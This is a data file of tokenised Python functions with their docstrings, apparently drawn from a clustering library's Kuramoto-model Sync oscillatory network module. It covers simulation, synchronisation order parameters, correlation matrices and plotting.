{"signature": "def allocate_correlation_matrix(self, iteration = None):", "body": "if (self._ccore_sync_dynamic_pointer is not None):<EOL><INDENT>return wrapper.sync_dynamic_allocate_correlation_matrix(self._ccore_sync_dynamic_pointer, iteration);<EOL><DEDENT>if ( (self._dynamic is None) or (len(self._dynamic) == <NUM_LIT:0>) ):<EOL><INDENT>return [];<EOL><DEDENT>dynamic = self._dynamic;<EOL>current_dynamic = dynamic[len(dynamic) - <NUM_LIT:1>];<EOL>if (iteration is not None):<EOL><INDENT>current_dynamic = dynamic[iteration];<EOL><DEDENT>number_oscillators = len(dynamic[<NUM_LIT:0>]);<EOL>affinity_matrix = [ [ <NUM_LIT:0.0> for i in range(number_oscillators) ] for j in range(number_oscillators) ];<EOL>for i in range(number_oscillators):<EOL><INDENT>for j in range(number_oscillators):<EOL><INDENT>phase1 = current_dynamic[i];<EOL>phase2 = current_dynamic[j];<EOL>affinity_matrix[i][j] = abs(math.sin(phase1 - phase2));<EOL><DEDENT><DEDENT>return affinity_matrix<EOL>", "docstring": "!\n        @brief Allocate correlation matrix between oscillators at the specified step of simulation.\n\n        @param[in] iteration (uint): Number of iteration of simulation for which correlation matrix should be allocated.\n                    If iternation number is not specified, the last step of simulation is used for the matrix allocation.\n\n        @return (list) Correlation matrix between oscillators with size [number_oscillators x number_oscillators].", "id": "f15630:c1:m8"}
{"signature": "def calculate_order_parameter(self, start_iteration = None, stop_iteration = None):", "body": "(start_iteration, stop_iteration) = self.__get_start_stop_iterations(start_iteration, stop_iteration);<EOL>if (self._ccore_sync_dynamic_pointer is not None):<EOL><INDENT>return wrapper.sync_dynamic_calculate_order(self._ccore_sync_dynamic_pointer, start_iteration, stop_iteration);<EOL><DEDENT>sequence_order = [];<EOL>for index in range(start_iteration, stop_iteration):<EOL><INDENT>sequence_order.append(order_estimator.calculate_sync_order(self.output[index]));<EOL><DEDENT>return sequence_order<EOL>", "docstring": "!\n        @brief Calculates level of global synchorization (order parameter).\n        @details This parameter is tend 1.0 when the oscillatory network close to global synchronization and it tend to 0.0 when \n                  desynchronization is observed in the network. Order parameter is calculated using following equation:\n\n                  \\f[\n                  r_{c}=\\frac{1}{Ne^{i\\varphi }}\\sum_{j=0}^{N}e^{i\\theta_{j}};\n                  \\f]\n\n                  where \\f$\\varphi\\f$ is a average phase coordinate in the network, \\f$N\\f$ is an amount of oscillators in the network.\n\n        @param[in] start_iteration (uint): The first iteration that is used for calculation, if 'None' then the last iteration is used.\n        @param[in] stop_iteration (uint): The last iteration that is used for calculation, if 'None' then 'start_iteration' + 1 is used.\n\n        Example:\n        @code\n            oscillatory_network = sync(16, type_conn = conn_type.ALL_TO_ALL);\n            output_dynamic = oscillatory_network.simulate_static(100, 10);\n\n            print(\"Order parameter at the last step: \", output_dynamic.calculate_order_parameter());\n            print(\"Order parameter at the first step:\", output_dynamic.calculate_order_parameter(0));\n            print(\"Order parameter evolution between 40 and 50 steps:\", output_dynamic.calculate_order_parameter(40, 50));\n        @endcode\n\n        @return (list) List of levels of global synchronization (order parameter evolution).\n\n        @see order_estimator", "id": "f15630:c1:m9"}
{"signature": "def calculate_local_order_parameter(self, oscillatory_network, start_iteration = None, stop_iteration = None):", "body": "(start_iteration, stop_iteration) = self.__get_start_stop_iterations(start_iteration, stop_iteration);<EOL>if (self._ccore_sync_dynamic_pointer is not None):<EOL><INDENT>network_pointer = oscillatory_network._ccore_network_pointer;<EOL>return wrapper.sync_dynamic_calculate_local_order(self._ccore_sync_dynamic_pointer, network_pointer, start_iteration, stop_iteration);<EOL><DEDENT>sequence_local_order = [];<EOL>for index in range(start_iteration, stop_iteration):<EOL><INDENT>sequence_local_order.append(order_estimator.calculate_local_sync_order(self.output[index], oscillatory_network));<EOL><DEDENT>return sequence_local_order<EOL>", "docstring": "!\n        @brief Calculates local order parameter.\n        @details Local order parameter or so-called level of local or partial synchronization is calculated by following expression:\n\n        \\f[\n        r_{c}=\\left | \\sum_{i=0}^{N} \\frac{1}{N_{i}} \\sum_{j=0}e^{ \\theta_{j} - \\theta_{i} } \\right |;\n        \\f]\n\n        where N - total amount of oscillators in the network and \\f$N_{i}\\f$ - amount of neighbors of oscillator with index \\f$i\\f$.\n\n        @param[in] oscillatory_network (sync): Sync oscillatory network whose structure of connections is required for calculation.\n        @param[in] start_iteration (uint): The first iteration that is used for calculation, if 'None' then the last iteration is used.\n        @param[in] stop_iteration (uint): The last iteration that is used for calculation, if 'None' then 'start_iteration' + 1 is used.\n\n        @return (list) List of levels of local (partial) synchronization (local order parameter evolution).", "id": "f15630:c1:m10"}
{"signature": "def __get_start_stop_iterations(self, start_iteration, stop_iteration):", "body": "if (start_iteration is None):<EOL><INDENT>start_iteration = len(self) - <NUM_LIT:1>;<EOL><DEDENT>if (stop_iteration is None):<EOL><INDENT>stop_iteration = start_iteration + <NUM_LIT:1>;<EOL><DEDENT>return (start_iteration, stop_iteration)<EOL>", "docstring": "!\n        @brief Aplly rules for start_iteration and stop_iteration parameters.\n\n        @param[in] start_iteration (uint): The first iteration that is used for calculation.\n        @param[in] stop_iteration (uint): The last iteration that is used for calculation.\n\n        @return (tuple) New the first iteration and the last.", "id": "f15630:c1:m11"}
{"signature": "@staticmethod<EOL><INDENT>def show_output_dynamic(sync_output_dynamic):<DEDENT>", "body": "draw_dynamics(sync_output_dynamic.time, sync_output_dynamic.output, x_title = \"<STR_LIT:t>\", y_title = \"<STR_LIT>\", y_lim = [<NUM_LIT:0>, <NUM_LIT:2> * <NUM_LIT>])<EOL>", "docstring": "!\n        @brief Shows output dynamic (output of each oscillator) during simulation.\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network.\n\n        @see show_output_dynamics", "id": "f15630:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_output_dynamics(sync_output_dynamics):<DEDENT>", "body": "draw_dynamics_set(sync_output_dynamics, \"<STR_LIT:t>\", \"<STR_LIT>\", None, [<NUM_LIT:0>, <NUM_LIT:2> * <NUM_LIT>], False, False)<EOL>", "docstring": "!\n        @brief Shows several output dynamics (output of each oscillator) during simulation.\n        @details Each dynamic is presented on separate plot.\n\n        @param[in] sync_output_dynamics (list): list of output dynamics 'sync_dynamic' of the Sync network.\n\n        @see show_output_dynamic", "id": "f15630:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def show_correlation_matrix(sync_output_dynamic, iteration = None):<DEDENT>", "body": "_ = plt.figure();<EOL>correlation_matrix = sync_output_dynamic.allocate_correlation_matrix(iteration);<EOL>plt.imshow(correlation_matrix, cmap = plt.get_cmap('<STR_LIT>'), interpolation='<STR_LIT>', vmin = <NUM_LIT:0.0>, vmax = <NUM_LIT:1.0>); <EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows correlation matrix between oscillators at the specified iteration.\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network.\n        @param[in] iteration (uint): Number of interation of simulation for which correlation matrix should be allocated.\n                                      If iternation number is not specified, the last step of simulation is used for the matrix allocation.", "id": "f15630:c2:m2"}
{"signature": "@staticmethod<EOL><INDENT>def show_phase_matrix(sync_output_dynamic, grid_width = None, grid_height = None, iteration = None):<DEDENT>", "body": "_ = plt.figure();<EOL>phase_matrix = sync_output_dynamic.allocate_phase_matrix(grid_width, grid_height, iteration);<EOL>plt.imshow(phase_matrix, cmap = plt.get_cmap('<STR_LIT>'), interpolation='<STR_LIT>', vmin = <NUM_LIT:0.0>, vmax = <NUM_LIT> * math.pi); <EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows 2D matrix of phase values of oscillators at the specified iteration.\n        @details User should ensure correct matrix sizes in line with following expression grid_width x grid_height that should be equal to \n                  amount of oscillators otherwise exception is thrown. If grid_width or grid_height are not specified than phase matrix size \n                  will by calculated automatically by square root.\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network whose phase matrix should be shown.\n        @param[in] grid_width (uint): Width of the phase matrix.\n        @param[in] grid_height (uint): Height of the phase matrix.\n        @param[in] iteration (uint): Number of iteration of simulation for which correlation matrix should be allocated.\n                    If iternation number is not specified, the last step of simulation is used for the matrix allocation.", "id": "f15630:c2:m3"}
{"signature": "@staticmethod<EOL><INDENT>def show_order_parameter(sync_output_dynamic, start_iteration = None, stop_iteration = None):<DEDENT>", "body": "(start_iteration, stop_iteration) = sync_visualizer.__get_start_stop_iterations(sync_output_dynamic, start_iteration, stop_iteration);<EOL>order_parameter = sync_output_dynamic.calculate_order_parameter(start_iteration, stop_iteration);<EOL>axis = plt.subplot(<NUM_LIT>);<EOL>plt.plot(sync_output_dynamic.time[start_iteration:stop_iteration], order_parameter, '<STR_LIT>', linewidth = <NUM_LIT>);<EOL>set_ax_param(axis, \"<STR_LIT:t>\", \"<STR_LIT>\", None, [<NUM_LIT:0.0>, <NUM_LIT>]);<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows evolution of order parameter (level of global synchronization in the network).\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network whose evolution of global synchronization should be visualized.\n        @param[in] start_iteration (uint): The first iteration that is used for calculation, if 'None' then the first is used\n        @param[in] stop_iteration (uint): The last iteration that is used for calculation, if 'None' then the last is used.", "id": "f15630:c2:m4"}
{"signature": "@staticmethod<EOL><INDENT>def show_local_order_parameter(sync_output_dynamic, oscillatory_network, start_iteration = None, stop_iteration = None):<DEDENT>", "body": "(start_iteration, stop_iteration) = sync_visualizer.__get_start_stop_iterations(sync_output_dynamic, start_iteration, stop_iteration);<EOL>order_parameter = sync_output_dynamic.calculate_local_order_parameter(oscillatory_network, start_iteration, stop_iteration);<EOL>axis = plt.subplot(<NUM_LIT>);<EOL>plt.plot(sync_output_dynamic.time[start_iteration:stop_iteration], order_parameter, '<STR_LIT>', linewidth = <NUM_LIT>);<EOL>set_ax_param(axis, \"<STR_LIT:t>\", \"<STR_LIT>\", None, [<NUM_LIT:0.0>, <NUM_LIT>]);<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows evolution of local order parameter (level of local synchronization in the network).\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network whose evolution of global synchronization should be visualized.\n        @param[in] oscillatory_network (sync): Sync oscillatory network whose structure of connections is required for calculation.\n        @param[in] start_iteration (uint): The first iteration that is used for calculation, if 'None' then the first is used\n        @param[in] stop_iteration (uint): The last iteration that is used for calculation, if 'None' then the last is used.", "id": "f15630:c2:m5"}
{"signature": "@staticmethod<EOL><INDENT>def animate_output_dynamic(sync_output_dynamic, animation_velocity = <NUM_LIT>, save_movie = None):<DEDENT>", "body": "figure = plt.figure();<EOL>dynamic = sync_output_dynamic.output[<NUM_LIT:0>];<EOL>artist, = plt.polar(dynamic, [<NUM_LIT:1.0>] * len(dynamic), '<STR_LIT:o>', color = '<STR_LIT>');<EOL>def init_frame():<EOL><INDENT>return [ artist ];<EOL><DEDENT>def frame_generation(index_dynamic):<EOL><INDENT>dynamic = sync_output_dynamic.output[index_dynamic];<EOL>artist.set_data(dynamic, [<NUM_LIT:1.0>] * len(dynamic));<EOL>return [ artist ];<EOL><DEDENT>phase_animation = animation.FuncAnimation(figure, frame_generation, len(sync_output_dynamic), interval = animation_velocity, init_func = init_frame, repeat_delay = <NUM_LIT>);<EOL>if (save_movie is not None):<EOL><INDENT>phase_animation.save(save_movie, writer = '<STR_LIT>', fps = <NUM_LIT:15>, bitrate = <NUM_LIT>);<EOL><DEDENT>else:<EOL><INDENT>plt.show();<EOL><DEDENT>", "docstring": "!\n        @brief Shows animation of output dynamic (output of each oscillator) during simulation on a circle from [0; 2pi].\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network.\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds.\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15630:c2:m6"}
{"signature": "@staticmethod<EOL><INDENT>def animate_correlation_matrix(sync_output_dynamic, animation_velocity = <NUM_LIT>, colormap = '<STR_LIT>', save_movie = None):<DEDENT>", "body": "figure = plt.figure()<EOL>correlation_matrix = sync_output_dynamic.allocate_correlation_matrix(<NUM_LIT:0>)<EOL>artist = plt.imshow(correlation_matrix, cmap = plt.get_cmap(colormap), interpolation='<STR_LIT>', vmin = <NUM_LIT:0.0>, vmax = <NUM_LIT:1.0>)<EOL>def init_frame(): <EOL><INDENT>return [ artist ]<EOL><DEDENT>def frame_generation(index_dynamic):<EOL><INDENT>correlation_matrix = sync_output_dynamic.allocate_correlation_matrix(index_dynamic)<EOL>artist.set_data(correlation_matrix)<EOL>return [ artist ]<EOL><DEDENT>correlation_animation = animation.FuncAnimation(figure, frame_generation, len(sync_output_dynamic), init_func = init_frame, interval = animation_velocity , repeat_delay = <NUM_LIT:1000>, blit = True)<EOL>if (save_movie is not None):<EOL><INDENT>correlation_animation.save(save_movie, writer = '<STR_LIT>', fps = <NUM_LIT:15>, bitrate = <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>plt.show()<EOL><DEDENT>", "docstring": "!\n        @brief Shows animation of correlation matrix between oscillators during simulation.\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network.\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds.\n        @param[in] colormap (string): Name of colormap that is used by matplotlib ('gray', 'pink', 'cool', spring', etc.).\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15630:c2:m7"}
{"signature": "@staticmethod<EOL><INDENT>def animate_phase_matrix(sync_output_dynamic, grid_width = None, grid_height = None, animation_velocity = <NUM_LIT>, colormap = '<STR_LIT>', save_movie = None):<DEDENT>", "body": "figure = plt.figure();<EOL>def init_frame(): <EOL><INDENT>return frame_generation(<NUM_LIT:0>);<EOL><DEDENT>def frame_generation(index_dynamic):<EOL><INDENT>figure.clf();<EOL>axis = figure.add_subplot(<NUM_LIT>);<EOL>phase_matrix = sync_output_dynamic.allocate_phase_matrix(grid_width, grid_height, index_dynamic);<EOL>axis.imshow(phase_matrix, cmap = plt.get_cmap(colormap), interpolation='<STR_LIT>', vmin = <NUM_LIT:0.0>, vmax = <NUM_LIT> * math.pi);<EOL>artist = figure.gca();<EOL>return [ artist ];<EOL><DEDENT>phase_animation = animation.FuncAnimation(figure, frame_generation, len(sync_output_dynamic), init_func = init_frame, interval = animation_velocity , repeat_delay = <NUM_LIT:1000>);<EOL>if (save_movie is not None):<EOL><INDENT>phase_animation.save(save_movie, writer = '<STR_LIT>', fps = <NUM_LIT:15>, bitrate = <NUM_LIT>);<EOL><DEDENT>else:<EOL><INDENT>plt.show();<EOL><DEDENT>", "docstring": "!\n        @brief Shows animation of phase matrix between oscillators during simulation on 2D stage.\n        @details If grid_width or grid_height are not specified than phase matrix size will by calculated automatically by square root.\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network.\n        @param[in] grid_width (uint): Width of the phase matrix.\n        @param[in] grid_height (uint): Height of the phase matrix.\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds.\n        @param[in] colormap (string): Name of colormap that is used by matplotlib ('gray', 'pink', 'cool', spring', etc.).\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15630:c2:m8"}
{"signature": "@staticmethod<EOL><INDENT>def __get_start_stop_iterations(sync_output_dynamic, start_iteration, stop_iteration):<DEDENT>", "body": "if (start_iteration is None):<EOL><INDENT>start_iteration = <NUM_LIT:0>;<EOL><DEDENT>if (stop_iteration is None):<EOL><INDENT>stop_iteration = len(sync_output_dynamic);<EOL><DEDENT>return (start_iteration, stop_iteration)<EOL>", "docstring": "!\n        @brief Apply rule of preparation for start iteration and stop iteration values.\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network.\n        @param[in] start_iteration (uint): The first iteration that is used for calculation.\n        @param[in] stop_iteration (uint): The last iteration that is used for calculation.\n\n        @return (tuple) New values of start and stop iterations.", "id": "f15630:c2:m9"}
{"signature": "@staticmethod<EOL><INDENT>def animate(sync_output_dynamic, title = None, save_movie = None):<DEDENT>", "body": "dynamic = sync_output_dynamic.output[<NUM_LIT:0>];<EOL>correlation_matrix = sync_output_dynamic.allocate_correlation_matrix(<NUM_LIT:0>);<EOL>figure = plt.figure(<NUM_LIT:1>);<EOL>if (title is not None):<EOL><INDENT>figure.suptitle(title, fontsize = <NUM_LIT>, fontweight = '<STR_LIT>')<EOL><DEDENT>ax1 = figure.add_subplot(<NUM_LIT>, projection='<STR_LIT>');<EOL>ax2 = figure.add_subplot(<NUM_LIT>);<EOL>artist1, = ax1.plot(dynamic, [<NUM_LIT:1.0>] * len(dynamic), marker = '<STR_LIT:o>', color = '<STR_LIT>', ls = '<STR_LIT>');<EOL>artist2 = ax2.imshow(correlation_matrix, cmap = plt.get_cmap('<STR_LIT>'), interpolation='<STR_LIT>');<EOL>def init_frame():<EOL><INDENT>return [ artist1, artist2 ];<EOL><DEDENT>def frame_generation(index_dynamic):<EOL><INDENT>dynamic = sync_output_dynamic.output[index_dynamic];<EOL>artist1.set_data(dynamic, [<NUM_LIT:1.0>] * len(dynamic));<EOL>correlation_matrix = sync_output_dynamic.allocate_correlation_matrix(index_dynamic);<EOL>artist2.set_data(correlation_matrix);<EOL>return [ artist1, artist2 ];<EOL><DEDENT>dynamic_animation = animation.FuncAnimation(figure, frame_generation, len(sync_output_dynamic), interval = <NUM_LIT>, init_func = init_frame, repeat_delay = <NUM_LIT>);<EOL>if (save_movie is not None):<EOL><INDENT>dynamic_animation.save(save_movie, writer = '<STR_LIT>', fps = <NUM_LIT:15>, bitrate = <NUM_LIT>);<EOL><DEDENT>else:<EOL><INDENT>plt.show();<EOL><DEDENT>", "docstring": "!\n        @brief Shows animation of phase coordinates and animation of correlation matrix together for the Sync dynamic output on the same figure.\n\n        @param[in] sync_output_dynamic (sync_dynamic): Output dynamic of the Sync network.\n        @param[in] title (string): Title of the animation that is displayed on a figure if it is specified.\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15630:c2:m10"}
{"signature": "def __init__(self, num_osc, weight = <NUM_LIT:1>, frequency = <NUM_LIT:0>, type_conn = conn_type.ALL_TO_ALL, representation = conn_represent.MATRIX, initial_phases = initial_type.RANDOM_GAUSSIAN, ccore = True):", "body": "self._ccore_network_pointer = None;      <EOL>if ( (ccore is True) and ccore_library.workable() ):<EOL><INDENT>self._ccore_network_pointer = wrapper.sync_create_network(num_osc, weight, frequency, type_conn, initial_phases);<EOL>self._num_osc = num_osc;<EOL>self._conn_represent = conn_represent.MATRIX;<EOL><DEDENT>else:   <EOL><INDENT>super().__init__(num_osc, type_conn, representation);<EOL>self._weight = weight;<EOL>self._phases = list();<EOL>self._freq = list();<EOL>random.seed();<EOL>for index in range(<NUM_LIT:0>, num_osc, <NUM_LIT:1>):<EOL><INDENT>if (initial_phases == initial_type.RANDOM_GAUSSIAN):<EOL><INDENT>self._phases.append(random.random() * <NUM_LIT:2> * pi);<EOL><DEDENT>elif (initial_phases == initial_type.EQUIPARTITION):<EOL><INDENT>self._phases.append( pi / num_osc * index);<EOL><DEDENT>self._freq.append(random.random() * frequency);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Constructor of oscillatory network is based on Kuramoto model.\n\n        @param[in] num_osc (uint): Number of oscillators in the network.\n        @param[in] weight (double): Coupling strength of the links between oscillators.\n        @param[in] frequency (double): Multiplier of internal frequency of the oscillators.\n        @param[in] type_conn (conn_type): Type of connection between oscillators in the network (all-to-all, grid, bidirectional list, etc.).\n        @param[in] representation (conn_represent): Internal representation of connection in the network: matrix or list.\n        @param[in] initial_phases (initial_type): Type of initialization of initial phases of oscillators (random, uniformly distributed, etc.).\n        @param[in] ccore (bool): If True simulation is performed by CCORE library (C++ implementation of pyclustering).", "id": "f15630:c3:m0"}
{"signature": "def __del__(self):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>wrapper.sync_destroy_network(self._ccore_network_pointer);<EOL>self._ccore_network_pointer = None;<EOL><DEDENT>", "docstring": "!\n        @brief Destructor of oscillatory network is based on Kuramoto model.", "id": "f15630:c3:m1"}
{"signature": "def sync_order(self):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>return wrapper.sync_order(self._ccore_network_pointer);<EOL><DEDENT>return order_estimator.calculate_sync_order(self._phases)<EOL>", "docstring": "!\n        @brief Calculates current level of global synchorization (order parameter) in the network.\n        @details This parameter is tend 1.0 when the oscillatory network close to global synchronization and it tend to 0.0 when \n                  desynchronization is observed in the network. Order parameter is calculated using following equation:\n\n                  \\f[\n                  r_{c}=\\frac{1}{Ne^{i\\varphi }}\\sum_{j=0}^{N}e^{i\\theta_{j}};\n                  \\f]\n\n                  where \\f$\\varphi\\f$ is a average phase coordinate in the network, \\f$N\\f$ is an amount of oscillators in the network.\n\n        Example:\n        @code\n            oscillatory_network = sync(16, type_conn = conn_type.ALL_TO_ALL);\n            output_dynamic = oscillatory_network.simulate_static(100, 10);\n\n            if (oscillatory_network.sync_order() < 0.9): print(\"Global synchronization is not reached yet.\");\n            else: print(\"Global synchronization is reached.\");\n        @endcode\n\n        @return (double) Level of global synchronization (order parameter).\n\n        @see sync_local_order()", "id": "f15630:c3:m2"}
{"signature": "def sync_local_order(self):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>return wrapper.sync_local_order(self._ccore_network_pointer);<EOL><DEDENT>return order_estimator.calculate_local_sync_order(self._phases, self)<EOL>", "docstring": "!\n        @brief Calculates current level of local (partial) synchronization in the network.\n\n        @return (double) Level of local (partial) synchronization.\n\n        @see sync_order()", "id": "f15630:c3:m3"}
{"signature": "def _phase_kuramoto(self, teta, t, argv):", "body": "index = argv;<EOL>phase = <NUM_LIT:0>;<EOL>for k in range(<NUM_LIT:0>, self._num_osc):<EOL><INDENT>if (self.has_connection(index, k) == True):<EOL><INDENT>phase += math.sin(self._phases[k] - teta);<EOL><DEDENT><DEDENT>return ( self._freq[index] + (phase * self._weight / self._num_osc) )<EOL>", "docstring": "!\n        @brief Returns result of phase calculation for specified oscillator in the network.\n\n        @param[in] teta (double): Phase of the oscillator that is differentiated.\n        @param[in] t (double): Current time of simulation.\n        @param[in] argv (tuple): Index of the oscillator in the list.\n\n        @return (double) New phase for specified oscillator (don't assign here).", "id": "f15630:c3:m4"}
{"signature": "def simulate(self, steps, time, solution = solve_type.FAST, collect_dynamic = True):", "body": "return self.simulate_static(steps, time, solution, collect_dynamic)<EOL>", "docstring": "!\n        @brief Performs static simulation of Sync oscillatory network.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] solution (solve_type): Type of solution (solving).\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n\n        @return (list) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.\n\n        @see simulate_dynamic()\n        @see simulate_static()", "id": "f15630:c3:m5"}
{"signature": "def simulate_dynamic(self, order = <NUM_LIT>, solution = solve_type.FAST, collect_dynamic = False, step = <NUM_LIT:0.1>, int_step = <NUM_LIT>, threshold_changes = <NUM_LIT>):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>ccore_instance_dynamic = wrapper.sync_simulate_dynamic(self._ccore_network_pointer, order, solution, collect_dynamic, step, int_step, threshold_changes);<EOL>return sync_dynamic(None, None, ccore_instance_dynamic);<EOL><DEDENT>time_counter = <NUM_LIT:0>;<EOL>previous_order = <NUM_LIT:0>;<EOL>current_order = self.sync_local_order();<EOL>dyn_phase = [];<EOL>dyn_time = [];<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(<NUM_LIT:0>);<EOL><DEDENT>while (current_order < order):<EOL><INDENT>self._phases = self._calculate_phases(solution, time_counter, step, int_step);<EOL>time_counter += step;<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(time_counter);<EOL><DEDENT>previous_order = current_order;<EOL>current_order = self.sync_local_order();<EOL>if (abs(current_order - previous_order) < threshold_changes):<EOL><INDENT>break;<EOL><DEDENT><DEDENT>if (collect_dynamic != True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(time_counter);<EOL><DEDENT>output_sync_dynamic = sync_dynamic(dyn_phase, dyn_time, None);<EOL>return output_sync_dynamic<EOL>", "docstring": "!\n        @brief Performs dynamic simulation of the network until stop condition is not reached. Stop condition is defined by input argument 'order'.\n\n        @param[in] order (double): Order of process synchronization, distributed 0..1.\n        @param[in] solution (solve_type): Type of solution.\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n        @param[in] step (double): Time step of one iteration of simulation.\n        @param[in] int_step (double): Integration step, should be less than step.\n        @param[in] threshold_changes (double): Additional stop condition that helps prevent infinite simulation, defines limit of changes of oscillators between current and previous steps.\n\n        @return (list) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.\n\n        @see simulate()\n        @see simulate_static()", "id": "f15630:c3:m6"}
{"signature": "def simulate_static(self, steps, time, solution = solve_type.FAST, collect_dynamic = False):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>ccore_instance_dynamic = wrapper.sync_simulate_static(self._ccore_network_pointer, steps, time, solution, collect_dynamic);<EOL>return sync_dynamic(None, None, ccore_instance_dynamic);<EOL><DEDENT>dyn_phase = [];<EOL>dyn_time = [];<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(<NUM_LIT:0>);<EOL><DEDENT>step = time / steps;<EOL>int_step = step / <NUM_LIT>;<EOL>for t in numpy.arange(step, time + step, step):<EOL><INDENT>self._phases = self._calculate_phases(solution, t, step, int_step);<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(t);<EOL><DEDENT><DEDENT>if (collect_dynamic != True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(time);<EOL><DEDENT>output_sync_dynamic = sync_dynamic(dyn_phase, dyn_time);<EOL>return output_sync_dynamic<EOL>", "docstring": "!\n        @brief Performs static simulation of oscillatory network.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] solution (solve_type): Type of solution.\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n\n        @return (list) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.\n\n        @see simulate()\n        @see simulate_dynamic()", "id": "f15630:c3:m7"}
{"signature": "def _calculate_phases(self, solution, t, step, int_step):", "body": "next_phases = [<NUM_LIT:0.0>] * self._num_osc;    <EOL>for index in range (<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>if (solution == solve_type.FAST):<EOL><INDENT>result = self._phases[index] + self._phase_kuramoto(self._phases[index], <NUM_LIT:0>, index);<EOL>next_phases[index] = self._phase_normalization(result);<EOL><DEDENT>elif ( (solution == solve_type.RK4) or (solution == solve_type.RKF45) ):<EOL><INDENT>result = odeint(self._phase_kuramoto, self._phases[index], numpy.arange(t - step, t, int_step), (index , ));<EOL>next_phases[index] = self._phase_normalization(result[len(result) - <NUM_LIT:1>][<NUM_LIT:0>]);<EOL><DEDENT>else:<EOL><INDENT>raise NameError(\"<STR_LIT>\" + str(solution) + \"<STR_LIT>\");<EOL><DEDENT><DEDENT>return next_phases<EOL>", "docstring": "!\n        @brief Calculates new phases for oscillators in the network in line with current step.\n\n        @param[in] solution (solve_type): Type solver of the differential equation.\n        @param[in] t (double): Time of simulation.\n        @param[in] step (double): Step of solution at the end of which states of oscillators should be calculated.\n        @param[in] int_step (double): Step differentiation that is used for solving differential equation.\n\n        @return (list) New states (phases) for oscillators.", "id": "f15630:c3:m8"}
{"signature": "def _phase_normalization(self, teta):", "body": "norm_teta = teta;<EOL>while (norm_teta > (<NUM_LIT> * pi)) or (norm_teta < <NUM_LIT:0>):<EOL><INDENT>if (norm_teta > (<NUM_LIT> * pi)):<EOL><INDENT>norm_teta -= <NUM_LIT> * pi;<EOL><DEDENT>else:<EOL><INDENT>norm_teta += <NUM_LIT> * pi;<EOL><DEDENT><DEDENT>return norm_teta<EOL>", "docstring": "!\n        @brief Normalization of phase of oscillator that should be placed between [0; 2 * pi].\n\n        @param[in] teta (double): phase of oscillator.\n\n        @return (double) Normalized phase.", "id": "f15630:c3:m9"}
{"signature": "def get_neighbors(self, index):", "body": "if ( (self._ccore_network_pointer is not None) and (self._osc_conn is None) ):<EOL><INDENT>self._osc_conn = wrapper.sync_connectivity_matrix(self._ccore_network_pointer);<EOL><DEDENT>return super().get_neighbors(index)<EOL>", "docstring": "!\n        @brief Finds neighbors of the oscillator with specified index.\n\n        @param[in] index (uint): index of oscillator for which neighbors should be found in the network.\n\n        @return (list) Indexes of neighbors of the specified oscillator.", "id": "f15630:c3:m10"}
{"signature": "def has_connection(self, i, j):", "body": "if ( (self._ccore_network_pointer is not None) and (self._osc_conn is None) ):<EOL><INDENT>self._osc_conn = wrapper.sync_connectivity_matrix(self._ccore_network_pointer);<EOL><DEDENT>return super().has_connection(i, j)<EOL>", "docstring": "!\n        @brief Returns True if there is connection between i and j oscillators and False - if connection doesn't exist.\n\n        @param[in] i (uint): index of an oscillator in the network.\n        @param[in] j (uint): index of an oscillator in the network.", "id": "f15630:c3:m11"}
